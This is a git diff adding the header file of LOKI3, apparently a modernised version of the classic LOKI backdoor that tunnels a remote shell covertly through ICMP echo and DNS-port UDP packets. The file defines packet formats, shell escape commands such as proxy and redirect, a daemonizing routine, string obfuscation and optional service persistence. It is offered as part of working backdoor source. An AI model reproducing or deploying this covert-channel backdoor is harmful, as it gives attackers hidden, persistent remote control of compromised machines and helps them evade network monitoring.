summaryrefslogtreecommitdiff
path: root/loki.h
diff options
context:
space:
mode:
Diffstat (limited to 'loki.h')
-rw-r--r--loki.h361
1 files changed, 361 insertions, 0 deletions
diff --git a/loki.h b/loki.h
new file mode 100644
index 0000000..00b1053
--- /dev/null
+++ b/loki.h
@@ -0,0 +1,361 @@
+#pragma once
+
+/*
+ * LOKI3
+ *
+ * loki header file
+ *
+ * 1996/7 Guild Corporation Productions [daemon9]
+ */
+
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <signal.h>
+#include <pwd.h>
+#include <unistd.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <time.h>
+#include <grp.h>
+#include <sys/ipc.h>
+#include <sys/sem.h>
+#include <sys/shm.h>
+#include <setjmp.h>
+#include <stdint.h>
+
+#include "cstrobf.h"
+
+#ifdef LINUX
+#include <netinet/ip.h> /* musl doesn't supply linux/icmp.h or linux/ip.h */
+
+#define ICMP_ECHO 8
+#define ICMP_ECHOREPLY 0
+
+/* BSDish nomenclature */
+#define ip iphdr
+#define ip_v version
+#define ip_hl ihl
+#define ip_len tot_len
+#define ip_ttl ttl
+#define ip_p protocol
+#define ip_dst daddr
+#define ip_src saddr
+#endif /* LINUX */
+
+#ifdef BSD4
+#include <netinet/in_systm.h>
+#include <netinet/ip_var.h>
+#include <netinet/ip.h>
+#include <netinet/tcp.h>
+#include <netinet/tcpip.h>
+#include <netinet/ip_icmp.h>
+#include <netinet/icmp_var.h>
+#include <sys/sockio.h>
+#include <sys/termios.h>
+#include <sys/signal.h>
+
+#undef icmp_id
+#undef icmp_seq
+#define ip_dst ip_dst.s_addr
+#define ip_src ip_src.s_addr
+#endif
+
+#ifdef SOLARIS
+#include <netinet/in_systm.h>
+#include <netinet/in.h>
+#include <netinet/ip_var.h>
+#include <netinet/ip.h>
+#include <netinet/tcp.h>
+#include <netinet/tcpip.h>
+#include <netinet/ip_icmp.h>
+#include <netinet/icmp_var.h>
+#include <sys/sockio.h>
+#include <sys/termios.h>
+#include <sys/signal.h>
+#include <strings.h>
+#include <unistd.h>
+
+#undef icmp_id
+#undef icmp_seq
+#define ip_dst ip_dst.s_addr
+#define ip_src ip_src.s_addr
+#endif
+
+#ifdef BROKEN_IP_LEN
+#define FIX_LEN(n) (x) /* FreeBSD needs this */
+#else
+#define FIX_LEN(n) htons(n)
+#endif
+
+
+/*
+ * Net/3 will not pass ICMP_ECHO packets to user processes.
+ */
+
+#ifdef NET3
+#define D_P_TYPE ICMP_ECHO
+#define C_P_TYPE ICMP_ECHOREPLY
+#else
+#define D_P_TYPE ICMP_ECHOREPLY
+#define C_P_TYPE ICMP_ECHO
+#endif
+
+#ifdef WEAK_CRYPTO
+#define CRYPTO_TYPE "XOR"
+#endif
+#ifdef NO_CRYPTO
+#define CRYPTO_TYPE "none"
+#endif
+
+
+/* Start user configurable options */
+
+#define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */
+#define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */
+#define MAX_CLIENT 10 /* maximum server-side client count */
+#define KEY_TIMER 600 /* maximum server-side idle client TTL */
+
+/* End user configurable options */
+
+
+
+#define VERSION "3.0"
+#define BUFSIZE 0x38 /* We build packets with a fixed payload.
+ * Fine for ICMP_ECHO/ECHOREPLY packets as they
+ * often default to a 56 byte payload. However
+ * DNS query/reply packets have no set size and
+ * are generally oddly sized with no padding.
+ */
+
+#define ICMPH_SIZE 8
+#define UDPH_SIZE 8
+#define NL_PORT htons(0x35)
+
+#define PROMPT "loki> "
+#define ENCR 1 /* symbolic for encrypt */
+#define DECR 0 /* symbolic for decrypt */
+#define NOCR 1 /* don't encrypt this packet */
+#define OKCR 0 /* encrypt this packet */
+#define OK 1 /* Positive acknowledgement */
+#define NOK 0 /* Negative acknowledgement */
+#define NNOK -1 /* Really negative acknowledgement */
+#define FIND 1 /* Controls locate_client */
+#define DESTROY 2 /* disposition */
+
+/* LOKI packet type symbolics */
+
+#define L_TAG 0xf001 /* Tags packets as LOKI */
+#define L_PK_REQ 0xa1 /* Public Key request packet */
+#define L_PK_REPLY 0xa2 /* Public Key reply packet */
+#define L_EOK 0xa3 /* Encrypted ok */
+#define L_REQ 0xb1 /* Standard reuqest packet */
+#define L_REPLY 0xb2 /* Standard reply packet */
+#define L_ERR 0xc1 /* Error of some kind */
+#define L_ACK 0xd1 /* Acknowledgement */
+#define L_QUIT 0xd2 /* Receiver should exit */
+#define L_EOT 0xf1 /* End Of Transmission packet */
+
+/* Packet type printing macro */
+
+#ifdef DEBUG
+#define PACKET_TYPE(ldg)\
+\
+if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \
+else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \
+else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \
+else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \
+else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \
+else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \
+else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \
+else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \
+else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \
+else fprintf(stderr, "Unknown"); \
+if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\
+else fprintf(stderr, "\n");\
+
+#define DUMP_PACKET(ldg, i)\
+\
+for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \
+fprintf(stderr, "\n");\
+
+#endif
+
+
+/*
+ * Escaped commands (not interpreted by the shell)
+ */
+
+#define HELP "/help" /* Help me */
+#define TIMER "/timer" /* Change the client side timer */
+#define QUIT_C "/quit" /* Quit the client */
+#define QUIT_ALL "/quit all" /* Kill all clients and server */
+#define STAT_C "/stat" /* Stat the client */
+#define STAT_ALL "/stat all" /* Stat all the clients */
+#define SWAP_T "/swapt" /* Swap protocols */
+#define REDIR_C "/redirect" /* Redirect to another client */
+#define PROXY_D "/proxy" /* Proxy to another server */
+
+/*
+ * Control flag symbolics
+ */
+
+#define TERMINATE 0x01
+#define TRAP 0x02
+#define VALIDC 0x04
+#define VALIDP 0x08
+#define NEWTRANS 0x10
+#define REDIRECT 0x20
+#define PROXY 0x40
+#define SENDKILL 0x80
+
+
+/*
+ * Message Strings
+ * L_ == common to both server and client
+ * S_ == specific to server
+ * C_ == specific to client
+ */
+
+#define L_MSG_BANNER "\nLOKI3 dmfr [(c) 2019-3000 Elective Surgery]\n"
+#define L_MSG_NOPRIV "\n[fatal] invalid user identification value"
+#define L_MSG_SOCKET "[fatal] socket allocation error"
+#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n"
+#define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)"
+#define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair"
+#define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n"
+#define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM"
+#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1"
+#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n"
+#define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n"
+#define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
+#define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n"
+#define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n"
+
+/*
+ * Macros to evaluate packets to determine if they are LOKI or not.
+ * These are UGLY.
+ */
+
+
+/*
+ * ICMP_ECHO client packet check
+ */
+#define IS_GOOD_ITYPE_C(ldg)\
+\
+(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
+ ldg.ttype.icmph.icmp_type == D_P_TYPE &&\
+ ldg.ttype.icmph.icmp_id == loki_id &&\
+ ldg.ttype.icmph.icmp_seq == L_TAG &&\
+ (ldg.payload[0] == L_REPLY ||\
+ ldg.payload[0] == L_PK_REPLY ||\
+ ldg.payload[0] == L_EOT ||\
+ ldg.payload[0] == L_QUIT ||\
+ ldg.payload[0] == L_ERR)) ==\
+ (1) ? (1) : (0)\
+/*
+ * ICMP_ECHO daemon packet check
+ */
+#define IS_GOOD_ITYPE_D(ldg)\
+\
+(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
+ ldg.ttype.icmph.icmp_type == C_P_TYPE &&\
+ ldg.ttype.icmph.icmp_seq == L_TAG &&\
+ (ldg.payload[0] == L_REQ ||\
+ ldg.payload[0] == L_QUIT ||\
+ ldg.payload[0] == L_PK_REQ)) ==\
+ (1) ? (1) : (0)\
+/*
+ * UDP client packet check
+ */
+#define IS_GOOD_UTYPE_C(ldg)\
+\
+(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
+ ldg.ttype.udph.uh_sport == NL_PORT &&\
+ ldg.ttype.udph.uh_dport == loki_id &&\
+ (ldg.payload[0] == L_REPLY ||\
+ ldg.payload[0] == L_EOT ||\
+ ldg.payload[0] == L_QUIT ||\
+ ldg.payload[0] == L_ERR)) ==\
+ (1) ? (1) : (0)\
+/*
+ * UDP daemon packet check. Yikes. We need more info here.
+ */
+#define IS_GOOD_UTYPE_D(ldg)\
+\
+(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
+ ldg.ttype.udph.uh_dport == NL_PORT &&\
+ (ldg.payload[0] == L_QUIT ||\
+ ldg.payload[0] == L_REQ)) ==\
+ (1) ? (1) : (0)\
+/*
+ * ICMP_ECHO / ICMP_ECHOREPLY header prototype
+ */
+struct icmp_echo {
+ uint8_t icmp_type; /* 1 byte type */
+ uint8_t icmp_code; /* 1 byte code */
+ uint16_t icmp_cksum; /* 2 byte checksum */
+ uint16_t icmp_id; /* 2 byte identification */
+ uint16_t icmp_seq; /* 2 byte sequence number */
+};
+
+
+/*
+ * UDP header prototype
+ */
+struct udp {
+ uint16_t uh_sport; /* 2 byte source port */
+ uint16_t uh_dport; /* 2 byte destination port */
+ uint16_t uh_ulen; /* 2 byte length */
+ uint16_t uh_sum; /* 2 byte checksum */
+};
+
+
+/*
+ * LOKI packet prototype
+ */
+struct loki {
+ struct ip iph; /* IP header */
+ union {
+ struct icmp_echo icmph; /* ICMP header */
+ struct udp udph; /* UDP header */
+ }ttype;
+ uint8_t payload[BUFSIZE]; /* data payload */
+};
+
+#define LOKIP_SIZE sizeof(struct loki)
+#define LP_DST rdg.iph.ip_src
+
+void blur(int, int, uint8_t *); /* Symmetric encryption function */
+char *host_lookup(uint32_t); /* network byte -> human readable */
+uint32_t name_resolve(char *); /* human readable -> network byte */
+uint16_t i_check(uint16_t *, int); /* Ah yes, the IP family checksum */
+int c_parse(uint8_t *, int *); /* parse escaped commands [client] */
+void d_parse(uint8_t *, pid_t, int); /* parse escaped commands [server] */
+ /* build and transmit LOKI packets */
+void loki_xmit(uint8_t *, uint16_t, int, struct sockaddr_in, int);
+int lokid_xmit(uint8_t *, uint32_t, int, int);
+void err_exit(int, int, int, char *); /* handle exit with reason */
+void clean_exit(int); /* exit cleanly */
+void help(); /* lala */
+void shadow(); /* daemonizing routine */
+void swap_t(int); /* swap protocols [server-side] */
+void reaper(int); /* prevent zombies */
+void catch_timeout(int); /* ALARM signal catcher */
+void client_expiry_check(); /* expire client from shm */
+void prep_shm(); /* Prepare shm ans semaphore */
+void dump_shm(); /* detach shm */
+void packets_read(); /* packets read (client) */
+void fd_status(int, int); /* dumps fd stats */
+#ifdef PERSISTENCE
+void handle_sigterm(int); /* SIGTERM handler */
+void unlink_persistence(); /* remove SysV service persistence */
+#endif /* PERSISTENCE */
+/* EOF */